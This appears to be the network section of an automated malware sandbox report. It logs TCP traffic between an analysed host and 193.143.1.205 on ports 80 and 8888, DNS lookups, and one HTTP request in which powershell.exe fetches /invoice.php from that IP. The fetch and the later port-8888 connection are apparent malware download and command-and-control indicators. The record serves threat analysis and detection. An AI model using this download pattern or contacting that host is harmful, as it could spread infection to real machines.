Jan 14, 2025 10:19:00.871740103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871751070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871763945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871773958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871784925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871793985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871822119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871927023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871937037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871947050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871957064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871967077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871972084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871977091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871989012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871989965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871997118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.872014999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.872039080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.893915892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.893934965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.893945932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.893996000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.893996954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894067049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894078016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894089937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894115925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894131899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894145012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894155979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894186020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894223928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894233942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894244909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894256115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894285917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894299030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894311905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894357920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894362926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894371033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894408941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894416094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894428968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894439936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894467115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894495010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.894542933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894556046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.894593000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.908086061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908154964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908210993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.908411980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908452988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908462048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908478022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908488035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908512115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.908524036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908529997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.908546925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908559084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908579111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.908580065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.908602953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922266960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922306061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922327995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922343969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922343969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922353983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922369957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922380924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922411919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922446012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922456026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922466040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922486067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922514915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922549963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922560930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922570944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922580957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922590971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922599077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922616005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.922625065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.922655106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.943499088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946492910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946499109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946511984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946521044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946538925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946548939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946554899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946569920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946579933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946585894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946595907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946607113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946619987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946624041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946649075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946657896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946669102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946670055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946686983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946696043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946710110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946737051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.946769953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946779966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.946810961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.960872889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960885048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960896015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960906982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960933924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.960956097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.960961103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960974932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960983038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.960993052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961004972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961018085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961029053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961050034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961103916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961103916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961114883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961124897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961144924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961220980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961231947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961241007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961251020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961261988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961263895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961291075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961319923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961347103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961358070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961366892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961376905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961402893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961402893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961500883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961510897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961520910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961530924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961539984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961548090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961549997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961560011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961569071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961597919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961626053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961636066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961644888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961667061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961697102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961704969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961714983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961724997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961754084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961827993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961837053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961846113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961855888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961867094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961873055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961899042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961927891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961936951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961946964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961956978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961966991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.961971045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.961977959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962014914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962084055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962094069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962100029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962105036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962110996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962141037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962167978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962234020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962244987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962255001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962265015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962275028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962285042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962285042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962295055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962316036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962344885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.962356091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962377071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.962404013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984469891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984488964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984498978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984508038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984519005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984535933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984571934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984611988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984646082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984656096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984685898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984703064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984719038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984730959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984736919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984740973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984766006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984771967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984787941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984827995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984884024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984893084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984901905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984909058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984920025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984927893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984930992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.984947920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.984972000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.985009909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.985019922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.985029936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.985039949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.985054970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.985096931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.998999119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999038935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999047995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.999051094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999090910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999093056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.999103069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999114990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999128103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.999135017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.999192953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.999202967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012902975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012921095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012928963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012945890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012953997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012964010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.012976885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.012991905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013000965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.013045073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.013052940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013062954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013098955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.013118029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013128042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013139963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013149977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013168097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.013192892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.013200045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013211012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.013266087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.037161112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037172079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037182093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037245989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037255049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037264109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037280083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.037312031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.037358046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037369013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037378073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037388086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037396908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037408113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037424088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.037451029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.037502050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037512064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.037602901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.042164087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.051393986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051415920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051425934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051435947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051446915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051457882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.051491976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.051497936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051508904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051517963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051534891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.051549911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.051590919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051600933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051609039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:01.051661015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.101294994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:01.171241045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:02.226922035 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:02.297204018 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:02.297297955 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:02.297873974 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:02.302639961 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:03.116024971 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:03.170361996 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:03.458812952 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:19:09.539287090 CET	56293	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 10:19:09.539287090 CET	192.168.2.5	1.1.1.1	0xd14	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 10:19:09.547761917 CET	1.1.1.1	192.168.2.5	0xd14	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 10:20:14.792530060 CET	1.1.1.1	192.168.2.5	0x7d52	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 10:20:14.792530060 CET	1.1.1.1	192.168.2.5	0x7d52	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	4580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 10:18:59.427720070 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
